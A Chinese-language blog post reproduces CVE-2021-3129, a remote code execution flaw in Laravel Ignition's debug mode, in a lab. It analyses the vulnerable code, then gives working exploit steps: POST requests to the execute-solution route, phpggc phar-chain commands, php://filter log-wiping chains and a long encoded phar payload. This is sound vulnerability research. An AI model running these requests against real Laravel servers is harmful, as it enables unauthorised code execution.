[CVE-2021-3129]Laravel Debug mode RCE复现

漏洞概述

在Laravel8.4.2之前,由于Ignition组件(版本小于2.5.2)中MakeViewVariableOptionalSolution.php的file_get_contents()和file_put_contents()使用不安全,未经身份验证的远程攻击者可以执行任意代码。

Ignition:Laravel6.0开始Ignition成为默认的错误页面,具有一些美观的 Laravel 特定功能,可以使调试异常和堆栈跟踪变得更加方便。在Solutions目录下定义了一些特定情况下的solutions,可以通过点击修复按钮时执行run 函数完成调用。更多内容可以通过文章Laravel Ignition 功能全解析了解。

影响范围

  • Laravel<=8.4.2
  • Ignition组件<2.5.2

环境搭建

1
2
3
4
5
6
composer create-project --prefer-dist laravel/laravel laraveldemo 8.4.2
cd laraveldemo
composer install # 运行报错的看下面和我遇到的问题是不是一样的
composer require facade/ignition==2.5.1 # 下载有漏洞的组件
php artisan key:generate # 生成密钥
php artisan serve --host=0.0.0.0 # 启动服务

检查.env中APP_DEBUG是否开启

问题

Q:不能运行composer install命令

错误信息:Problem 1 - phpunit/phpunit[9.3.3, ..., 9.5.x-dev] require ext-dom * -> it is missing from your system. Install or enable PHP's dom extension. - Root composer.json requires phpunit/phpunit ^9.3.3 -> satisfiable by phpunit/phpunit[9.3.3, ..., 9.5.x-dev].

Asudo apt-get install php-xml

漏洞分析

触发solution

通过上面的介绍我们可知solution的触发方法是通过修复按钮,究其原因还是向_ignition/execute-solution路由发送数据调用对应的solution:

vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php/ExecuteSolutionController

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

然后进入vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php查找solution并定义参数规则:

参数规则

1
2
3
4
5
6
7
public function rules(): array
{
    return [
        'solution' => 'required',
        'parameters' => 'array',
    ];
}

file_get_contents()

知道参数规则再结合solution内部定义的getRunParameters方法我们可以知道该传什么值。

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution/MakeViewVariableOptionalSolution::getRunParameters

1
2
3
4
5
6
7
public function getRunParameters(): array
{
    return [
        'variableName' => $this->variableName,
        'viewFile' => $this->viewFile,
    ];
}

POST传

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve-2021-2149&parameters[viewFile]=tyskill

直接进入run函数

1
2
3
4
5
6
7
public function run(array $parameters = [])
{
    $output = $this->makeOptional($parameters);
    if ($output !== false) {
        file_put_contents($parameters['viewFile'], $output);
    }
}

然后进入makeOptional函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function makeOptional(array $parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);
    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

    $originalTokens = token_get_all(Blade::compileString($originalContents));
    $newTokens = token_get_all(Blade::compileString($newContents));

    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

    if ($expectedTokens !== $newTokens) {
        return false;
    }

    return $newContents;
}

可以看到传入的viewFile参数直接被file_get_contents读取,没有经过任何过滤。当然,这里还不是终点,还要看看后面有没有对读取内容作出修改。不过对于我们传入的tyskill这个字符串来说,这里已经是它的终点了,因为file_get_contents读不到这个文件,那就换一个可以读到的/etc/passwd,读取的内容再经过'$'.$parameters['variableName']的替换后赋给了$newContents变量,不是很理解为什么要这样替换,继续向下看。

文件内容过滤(maybe)

替换后的文件内容经过token_get_all解析(解析参照解析器代号列表文档说明)赋值给$newTokens,然后与经过token_get_all解析并传入generateExpectedTokens方法处理的$originalTokens变量比较

看一下generateExpectedTokens方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
    $expectedTokens = [];
    foreach ($originalTokens as $token) {
        $expectedTokens[] = $token;
        if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
            $expectedTokens[] = [T_COALESCE, '??', $token[2]];
            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
            $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
        }
    }

    return $expectedTokens;
}

这段代码看起来麻烦,但逻辑很简单,就是在'$'.$variableName后面添加空格??空格'',与上面的正则替换差不多。

本地尝试了两种方法的比较后明白了区别,由于token_get_all解析结果与是否满足php结构有关,所以文件内容是否满足php结构就非常重要,通过下面代码可知这样的过滤方法只适用于非php的且有$符号的文件(太菜了,想不出应用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function generateExpectedTokens(array $originalTokens, string $variableName): array
{
    $expectedTokens = [];
    foreach ($originalTokens as $token) {
        $expectedTokens[] = $token;
        if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
            $expectedTokens[] = [T_COALESCE, '??', $token[2]];
            $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
            $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
        }
    }

    return $expectedTokens;
}
$parameters['variableName']="a";
$originalContents = "abc"; // false
// $originalContents = "\$a;\$a;"; // true
// $originalContents = "<?php \$a;\$a;"; // false
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all($originalContents);
$newTokens = token_get_all($newContents);
$conTokens = generateExpectedTokens($originalTokens, $parameters['variableName']);
// var_dump($originalTokens);
// var_dump($newTokens);
var_dump($conTokens!==$newTokens);

不过正常来说这玩意看着也过滤不了什么吧?变量名都是可控的,绕一下也不是很困难。。。后面就没什么过滤了,直接就file_put_contents($parameters['viewFile'], $output);写回到原文件了。

漏洞利用

这个漏洞应该相当于一个任意操作的file_get_contents()函数,攻击面完全取决于知识面。

漏洞验证

Accept: application/json可加可不加

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.150.130:8000
Accept: application/json
Content-Type: application/json
Content-Length: 177

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
      "variableName": "cve-2021-3129",
      "viewFile": "tyskill"
  }
}

除此之外,寻常的POST传值也可以使用

注意:这种方法在不同的插件中POST效果不同,主要是因为\\在POST时有的插件不会将其转义为\,POST数据编码会出现%5C%5c,只要将其改为%5C即可。

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=tyskill

出现报错页面即存在此漏洞

phar反序列化RCE

从phpggc拿一条可用的链子生成phar图片

1
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /var/www/html/tyskill.gif

然后POST向/_ignition/execute-solution

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=phar:///var/www/html/tyskill.gif/test.txt

laravel.log转phar实现RCE

虽然phar反序列化能够实现RCE,但也需要借助文件上传才能达成利用,如果没有文件上传该怎么办呢?LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION提出了通过将laravel.log转化为phar文件从而实现反序列化的方法。

手工复现

简单写一下吧,蓝帽杯打吐了。。。

将laravel.log内容清空,写入phar数据转化为phar文件,然后通过phar反序列化实现RCE。

1、使用php://filter过滤器组合拳清空log文件(

一次没清空就再执行一次,推荐直接执行两次

https://xz.aliyun.com/t/9030原理:

convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行decode,所以可以通过调用多次convert.base64-decode多次触发该特性来将log清空。对于这句话我不是很理解,本地尝试只发现读文件时会跳过非编码表字符,难道对于一些特殊字符进行base64decode时会触发删除效果咩?

通过convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8的组合使用能将log文件内字符都转为非base64字符

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

2、从phpggc拿一条能用的链子写入log

由于log文件格式原因,我们需要在payload后面添加一个字符,使payload在从utf-16转成utf-8时总有一个payload能被转出来。

1
php -d "phar.readonly=0" ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

3、发送AA用于对齐

没有实验,纯属猜测,应该是为了接下来的base64解码凑齐4倍数位的字符数,发送AAAAAA同样也可以成功。

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=AA

4、将payload从viewFile参数POST传过去(记得添加一个字符)

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=69=00=4C=00=69=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=69=00=4C=00=69=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=34=00=52=00=36=00=59=00=35=00=55=00=4D=00=6C=00=4F=00=79=00=67=00=70=00=64=00=65=00=58=00=66=00=74=00=72=00=62=00=31=00=78=00=6B=00=2B=00=6E=00=63=00=39=00=41=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a

5、清空干扰字符

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

6、phar反序列化

solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=phar://../storage/logs/laravel.log/test.txt

至此就复现完了

脚本实现

EXP(脚本要和phpggc项目文件夹在同一级目录下)

参考

Laravel Ignition 功能全解析

How do I install the dom extension for PHP7?

Laravel Debug mode RCE(CVE-2021-3129)分析复现

LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION

Laravel Debug mode RCE(CVE-2021-3129)漏洞复现